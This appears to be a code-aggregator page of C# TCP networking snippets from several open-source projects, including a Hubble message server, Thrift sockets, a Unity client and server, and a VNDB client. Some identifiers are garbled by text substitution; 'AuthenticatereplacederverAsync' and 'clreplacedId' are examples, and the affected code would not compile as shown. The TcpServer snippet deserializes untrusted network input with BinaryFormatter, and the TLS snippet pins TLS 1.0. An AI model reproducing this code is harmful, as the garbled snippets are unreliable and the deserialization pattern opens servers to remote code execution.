tcpStream.Write(sendBuf, 0, sendBuf.Length);
bool isAsync = (msgHead.Flag & MessageFlag.ASyncMessage) != 0;
if (returnMsg != null)
{
//Send Flag
if (isAsync)
{
msgHead.Flag = MessageFlag.ASyncMessage;
}
else
{
msgHead.Flag = 0;
}
if (customSerializer != null)
{
msgHead.Flag |= MessageFlag.CustomSerialization;
sendBuf = BitConverter.GetBytes((short)msgHead.Flag);
tcpStream.Write(sendBuf, 0, sendBuf.Length);
if ((msgHead.Flag & MessageFlag.ASyncMessage) != 0)
{
sendBuf = BitConverter.GetBytes(clreplacedId);
tcpStream.Write(sendBuf, 0, sendBuf.Length);
}
//MemoryStream m = new MemoryStream();
//customSerializer.Serialize(m);
//m.Position = 0;
//while (m.Position < m.Length)
//{
// byte[] buf = new byte[8192];
// int len = m.Read(buf, 0, buf.Length);
// tcpStream.Write(buf, 0, len);
//}
//customSerializer.Serialize(tcpStream);
customSerializer.Serialize(tcpStream);
}
else if (returnMsg is string)
{
msgHead.Flag |= MessageFlag.IsString;
sendBuf = BitConverter.GetBytes((short)msgHead.Flag);
tcpStream.Write(sendBuf, 0, sendBuf.Length);
if ((msgHead.Flag & MessageFlag.ASyncMessage) != 0)
{
sendBuf = BitConverter.GetBytes(clreplacedId);
tcpStream.Write(sendBuf, 0, sendBuf.Length);
}
byte[] buf = Encoding.UTF8.GetBytes((returnMsg as string));
for (int i = 0; i < buf.Length; i++)
{
if (buf[i] == 0)
{
buf[i] = 0x20;
}
}
tcpStream.Write(buf, 0, buf.Length);
tcpStream.WriteByte(0);
}
else if (returnMsg is Exception)
{
msgHead.Flag |= MessageFlag.IsException;
msgHead.Flag |= MessageFlag.IsString;
sendBuf = BitConverter.GetBytes((short)msgHead.Flag);
tcpStream.Write(sendBuf, 0, sendBuf.Length);
if ((msgHead.Flag & MessageFlag.ASyncMessage) != 0)
{
sendBuf = BitConverter.GetBytes(clreplacedId);
tcpStream.Write(sendBuf, 0, sendBuf.Length);
}
StringBuilder sb = new StringBuilder();
sb.AppendFormat("{0} innerStackTrace:{1}",
(returnMsg as Exception).Message,
Hubble.Framework.HubbleException.GetStackTrace(returnMsg as Exception));
byte[] buf = Encoding.UTF8.GetBytes(sb.ToString());
tcpStream.Write(buf, 0, buf.Length);
tcpStream.WriteByte(0);
}
else
{
sendBuf = BitConverter.GetBytes((short)msgHead.Flag);
tcpStream.Write(sendBuf, 0, sendBuf.Length);
if ((msgHead.Flag & MessageFlag.ASyncMessage) != 0)
{
sendBuf = BitConverter.GetBytes(clreplacedId);
tcpStream.Write(sendBuf, 0, sendBuf.Length);
}
IFormatter formatter = new BinaryFormatter();
formatter.Serialize(tcpStream, returnMsg);
}
}
else
{
msgHead.Flag |= MessageFlag.NullData;
//Send Flag
sendBuf = BitConverter.GetBytes((short)msgHead.Flag);
tcpStream.Write(sendBuf, 0, sendBuf.Length);
if ((msgHead.Flag & MessageFlag.ASyncMessage) != 0)
{
sendBuf = BitConverter.GetBytes(clreplacedId);
tcpStream.Write(sendBuf, 0, sendBuf.Length);
}
}
tcpStream.Flush();
}
}
19
Source : TcpServer.cs
with Apache License 2.0
from eaglet2006
with Apache License 2.0
from eaglet2006
private void HandleClientComm(object pcb)
{
PCB p = (PCB)pcb;
System.Net.Sockets.TcpClient tcpClient = p.Client;
object lockObj = new object();
try
{
try
{
OnConnectEstablishEvent(new ConnectEstablishEventArgs(p.ThreadId));
}
catch (Exception e)
{
OnMessageReceiveErrorEvent(new MessageReceiveErrorEventArgs(e));
}
System.Net.Sockets.NetworkStream clientStream = tcpClient.GetStream();
TcpCacheStream tcpStream = new TcpCacheStream(clientStream);
while (true)
{
MessageHead msgHead = new MessageHead();
try
{
bool disconnected = false;
object msg = null;
//Recevie data
//Stream tcpStream = clientStream;
byte[] revBuf = new byte[4];
int offset = 0;
while (offset < 4)
{
int len;
try
{
len = tcpStream.Read(revBuf, offset, 4 - offset);
}
catch
{
disconnected = true;
break;
}
if (len == 0)
{
//Disconnect
disconnected = true;
break;
}
offset += len;
}
if (disconnected)
{
break;
}
msgHead.Event = BitConverter.ToInt16(revBuf, 0);
msgHead.Flag = (MessageFlag)BitConverter.ToInt16(revBuf, 2);
bool isAsync = (msgHead.Flag & MessageFlag.ASyncMessage) != 0;
int clreplacedId = -1;
if (isAsync)
{
if (!Hubble.Framework.IO.Stream.ReadToBuf(tcpStream, revBuf, 0, 4))
{
disconnected = true;
break;
}
else
{
clreplacedId = BitConverter.ToInt32(revBuf, 0);
}
}
if ((msgHead.Flag & MessageFlag.NullData) == 0)
{
if ((msgHead.Flag & MessageFlag.CustomSerialization) != 0)
{
if (RequireCustomSerialization != null)
{
Hubble.Framework.Serialization.IMySerialization mySerializer =
RequireCustomSerialization(msgHead.Event, null);
if (mySerializer == null)
{
throw new Exception(string.Format("RequireCustomSerialization of Event = {0} is null!",
msgHead.Event));
}
msg = mySerializer.Deserialize(tcpStream, mySerializer.Version);
}
else
{
throw new Exception("RequireCustomSerialization of TcpClient is null!");
}
}
else if ((msgHead.Flag & MessageFlag.IsString) == 0)
{
IFormatter formatter = new BinaryFormatter();
msg = formatter.Deserialize(tcpStream);
}
else
{
if ((msgHead.Flag & MessageFlag.IsString) != 0 &&
(msgHead.Flag & MessageFlag.ASyncMessage) != 0)
{
MemoryStream m = new MemoryStream();
byte b = (byte)tcpStream.ReadByte();
while (b != 0)
{
m.WriteByte(b);
b = (byte)tcpStream.ReadByte();
}
m.Position = 0;
using (StreamReader sr = new StreamReader(m, Encoding.UTF8))
{
msg = sr.ReadToEnd();
}
}
else
{
MemoryStream m = new MemoryStream();
byte[] buf = new byte[1024];
int len = 0;
do
{
len = tcpStream.Read(buf, 0, buf.Length);
if (buf[len - 1] == 0)
{
m.Write(buf, 0, len - 1);
break;
}
else
{
m.Write(buf, 0, len);
}
} while (true);
m.Position = 0;
using (StreamReader sr = new StreamReader(m, Encoding.UTF8))
{
msg = sr.ReadToEnd();
}
}
}
}
MessageReceiveEventArgs receiveEvent = new MessageReceiveEventArgs(
this, msgHead, msg, p.ThreadId, clreplacedId, tcpClient,
clientStream, lockObj);
Hubble.Framework.Serialization.IMySerialization customSerializer = null;
try
{
OnMessageReceiveEvent(receiveEvent);
customSerializer = receiveEvent.CustomSerializtion;
}
catch (System.Threading.ThreadAbortException)
{
receiveEvent.ReturnMsg = new System.Threading.ThreadInterruptedException("Thread abort. Maybe execute select too long. Please check the error log.");
System.Threading.Thread.ResetAbort();
}
catch (Exception e)
{
receiveEvent.ReturnMsg = e;
}
if (!isAsync)
{
ReturnMessage(lockObj, tcpClient, msgHead, receiveEvent.ReturnMsg, customSerializer);
}
}
catch (Exception innerException)
{
try
{
OnMessageReceiveErrorEvent(new MessageReceiveErrorEventArgs(msgHead, innerException));
}
catch
{
}
if (tcpClient.Connected)
{
tcpClient.Close();
}
throw innerException;
}
}
tcpClient.Close();
}
catch (Exception e)
{
OnMessageReceiveErrorEvent(new MessageReceiveErrorEventArgs(e));
}
finally
{
try
{
OnDisconnectEvent(new DisconnectEventArgs(p.ThreadId));
}
catch (Exception e)
{
OnMessageReceiveErrorEvent(new MessageReceiveErrorEventArgs(e));
}
RetPCB(p);
}
}
19
Source : TcpClient.cs
with Apache License 2.0
from eaglet2006
with Apache License 2.0
from eaglet2006
public void Connect(int connectTimeout)
{
if (connectTimeout > 30000)
{
Connect();
return;
}
if (_Client == null)
{
_Client = new System.Net.Sockets.TcpClient();
}
IPEndPoint serverEndPoint =
new IPEndPoint(RemoteAddress, Port);
IAsyncResult ar = _Client.BeginConnect(serverEndPoint.Address,
serverEndPoint.Port, null, null);
System.Threading.WaitHandle wh = ar.AsyncWaitHandle;
try
{
if (!ar.AsyncWaitHandle.WaitOne(connectTimeout, false))
{
_Client.Close();
throw new TimeoutException(string.Format("Try to connect {0} timeout", serverEndPoint));
}
_Client.EndConnect(ar);
}
finally
{
wh.Close();
}
_ClientStream = _Client.GetStream();
if (_Async)
{
_Thread = new Thread(AsyncMessageRecv);
_Thread.IsBackground = true;
_Thread.Start();
}
}
19
Source : TcpClient.cs
with Apache License 2.0
from eaglet2006
with Apache License 2.0
from eaglet2006
public void Connect()
{
if (_Client == null)
{
_Client = new System.Net.Sockets.TcpClient();
}
IPEndPoint serverEndPoint =
new IPEndPoint(RemoteAddress, Port);
_Client.Connect(serverEndPoint);
_ClientStream = _Client.GetStream();
if (_Async)
{
_Thread = new Thread(AsyncMessageRecv);
_Thread.IsBackground = true;
_Thread.Start();
}
}
19
Source : FingerPrinting.cs
with GNU General Public License v3.0
from ElevenPaths
with GNU General Public License v3.0
from ElevenPaths
protected bool TcpConnect()
{
tcp.Connect(this.Host, this.Port);
if (tcp.Connected)
ns = tcp.GetStream();
return tcp.Connected;
}
19
Source : TSocket.cs
with Apache License 2.0
from endink
with Apache License 2.0
from endink
public override void Open()
{
if (IsOpen)
{
throw new TTransportException(TTransportException.ExceptionType.AlreadyOpen, "Socket already connected");
}
if (String.IsNullOrEmpty(host))
{
throw new TTransportException(TTransportException.ExceptionType.NotOpen, "Cannot open null host");
}
if (port <= 0)
{
throw new TTransportException(TTransportException.ExceptionType.NotOpen, "Cannot open without port");
}
if (client == null)
{
InitSocket();
}
if( timeout == 0) // no timeout -> infinite
{
client.ConnectAsync(host, port).GetAwaiter().GetResult();
}
else // we have a timeout -> use it
{
ConnectHelper hlp = new ConnectHelper(client);
var task = client.ConnectAsync(host, port).ContinueWith(t =>
{
lock (hlp.Mutex)
{
hlp.CallbackDone = true;
if (hlp.DoCleanup)
{
try
{
if (hlp.Client is IDisposable)
((IDisposable)hlp.Client).Dispose();
}
catch (Exception) { }
hlp.Client = null;
}
}
});
bool bConnected = task.Wait(timeout) && client.Connected;
if (!bConnected)
{
lock (hlp.Mutex)
{
if(hlp.CallbackDone)
{
client.Client.Dispose();
}
else
{
hlp.DoCleanup = true;
client = null;
}
}
throw new TTransportException(TTransportException.ExceptionType.TimedOut, "Connect timed out");
}
}
inputStream = client.GetStream();
outputStream = client.GetStream();
}
19
Source : TTLSSocket.cs
with Apache License 2.0
from endink
with Apache License 2.0
from endink
public void setupTLS()
{
RemoteCertificateValidationCallback validator = this.certValidator ?? DefaultCertificateValidator;
if( this.localCertificateSelectionCallback != null)
{
this.secureStream = new SslStream(
this.client.GetStream(),
false,
validator,
this.localCertificateSelectionCallback
);
}
else
{
this.secureStream = new SslStream(
this.client.GetStream(),
false,
validator
);
}
try
{
if (isServer)
{
// Server authentication
this.secureStream.AuthenticatereplacederverAsync(this.certificate, this.certValidator != null, SslProtocols.Tls, true).GetAwaiter().GetResult();
}
else
{
// Client authentication
this.secureStream.AuthenticateAsClientAsync(host, new X509CertificateCollection { certificate }, SslProtocols.Tls, true).GetAwaiter().GetResult();
}
}
catch (Exception)
{
this.Close();
throw;
}
inputStream = this.secureStream;
outputStream = this.secureStream;
}
19
Source : Client.cs
with MIT License
from EricBatlle
with MIT License
from EricBatlle
protected virtual void SendMessageToServer(string messageToSend)
{
try
{
m_NetStream = m_Client.GetStream();
}
catch (Exception)
{
ClientLog("Non-Connected Socket exception", Color.red);
CloseClient();
return;
}
//early out if there is nothing connected
if (!m_Client.Connected)
{
ClientLog("Socket Error: Stablish Server connection first", Color.red);
return;
}
//Build message to server
byte[] encodedMessage = Encoding.ASCII.GetBytes(messageToSend); //Encode message as bytes
//Start Sync Writing
m_NetStream.Write(encodedMessage, 0, encodedMessage.Length);
ClientLog($"Msg sended to Server: <b>{messageToSend}</b>", Color.blue);
//In case client informs the server that closes the connection
if (messageToSend == "Close")
{
//Stop listening server messages
StopCoroutine(m_ListenServerMsgsCoroutine);
//It has to wait before closing, to ensure Close message is sended
StartCoroutine(DelayedCloseClient(waitingMessagesFrequency + m_DelayedCloseTime));
}
}
19
Source : Client.cs
with MIT License
from EricBatlle
with MIT License
from EricBatlle
private IEnumerator ListenServerMessages()
{
//early out if there is nothing connected
if (!m_Client.Connected)
yield break;
//Stablish Client NetworkStream information
m_NetStream = m_Client.GetStream();
//Start Async Reading from Server and manage the response on MessageReceived function
do
{
ClientLog("Client is listening server msg...", Color.yellow);
//Start Async Reading from Server and manage the response on MessageReceived function
m_NetStream.BeginRead(m_Buffer, 0, m_Buffer.Length, MessageReceived, null);
if (m_BytesReceived > 0)
{
OnMessageReceived(m_ReceivedMessage);
m_BytesReceived = 0;
}
yield return new WaitForSeconds(waitingMessagesFrequency);
} while (m_BytesReceived >= 0 && m_NetStream != null && m_Client != null);
//Communication is over
}
19
Source : Server.cs
with MIT License
from EricBatlle
with MIT License
from EricBatlle
private IEnumerator ListenClientMessages()
{
//Restart values in case there are more than one client connections
m_BytesReceived = 0;
m_Buffer = new byte[49152];
//Stablish Client NetworkStream information
m_NetStream = m_Client.GetStream();
m_EllapsedTime = 0f;
m_TimeOutReached = false;
//While there is a connection with the client, await for messages
do
{
ServerLog("Server is listening client msg...", Color.yellow);
//Start Async Reading from Client and manage the response on MessageReceived function
m_NetStream.BeginRead(m_Buffer, 0, m_Buffer.Length, MessageReceived, m_NetStream);
//If there is any msg, do something
if (m_BytesReceived > 0)
{
OnMessageReceived(m_ReceivedMessage);
m_BytesReceived = 0;
}
yield return new WaitForSeconds(waitingMessagesFrequency);
//Check TimeOut
m_EllapsedTime += waitingMessagesFrequency;
if (m_EllapsedTime >= receivingTimeOut && receivingTimeOut != 0)
{
ServerLog("Receiving Messages TimeOut", Color.red);
ServerLog("Remember to close Client!", Color.black);
CloseClientConnection();
m_TimeOutReached = true;
}
} while ((m_BytesReceived >= 0 && m_NetStream != null && m_Client != null) && (!m_TimeOutReached));
//Communication is over
}
19
Source : VNDBClient.cs
with GNU General Public License v3.0
from erri120
with GNU General Public License v3.0
from erri120
private async Task Connect()
{
if (_client.Connected)
{
if (!_useTLS)
return;
if(_sslStream == null)
throw new Exception("Client is connected but ssl stream is null!");
return;
}
await _client.ConnectAsync(Consts.Host, _useTLS ? Consts.TLSPort : Consts.TCPPort);
if (!_useTLS)
return;
_sslStream = new SslStream(_client.GetStream());
await _sslStream.AuthenticateAsClientAsync(Consts.Host);
if(!_sslStream.IsAuthenticated)
throw new Exception("Authentication failed!");
}
19
Source : VNDBClient.cs
with GNU General Public License v3.0
from erri120
with GNU General Public License v3.0
from erri120
private async Task<string> RequestAndReceive<T>(string command, T obj)
{
await Connect();
byte[] buffer = obj == null
? AddEndOfTransmissionChar(command)
: AddEndOfTransmissionChar(ToVNDBJson(command, obj));
var stream = _useTLS ? _sslStream : (Stream)_client.GetStream();
await stream.WriteAsync(buffer, 0, buffer.Length);
buffer = new byte[2048];
var response = new StringBuilder();
int bytes;
var totalBytes = 0;
var iterations = 0;
do
{
bytes = await stream.ReadAsync(buffer, 0, buffer.Length);
totalBytes += bytes;
var decoder = Encoding.UTF8.GetDecoder();
var chars = new char[decoder.GetCharCount(buffer, 0, bytes)];
decoder.GetChars(buffer, 0, bytes, chars, 0);
if (chars[chars.Length - 1] == (char) Consts.EndOfTransmissionChar)
{
response.Append(chars, 0, chars.Length - 1);
break;
}
/*if (chars.Any(x => x == (char)Consts.EndOfTransmissionChar))
{
response.Append(chars, 0, chars.Length-1);
break;
}*/
response.Append(chars);
if(iterations >= Consts.MaxIterations)
throw new Exception($"Max iterations reached: {iterations}");
iterations++;
} while (bytes != 0);
return response.ToString();
}
See More Examples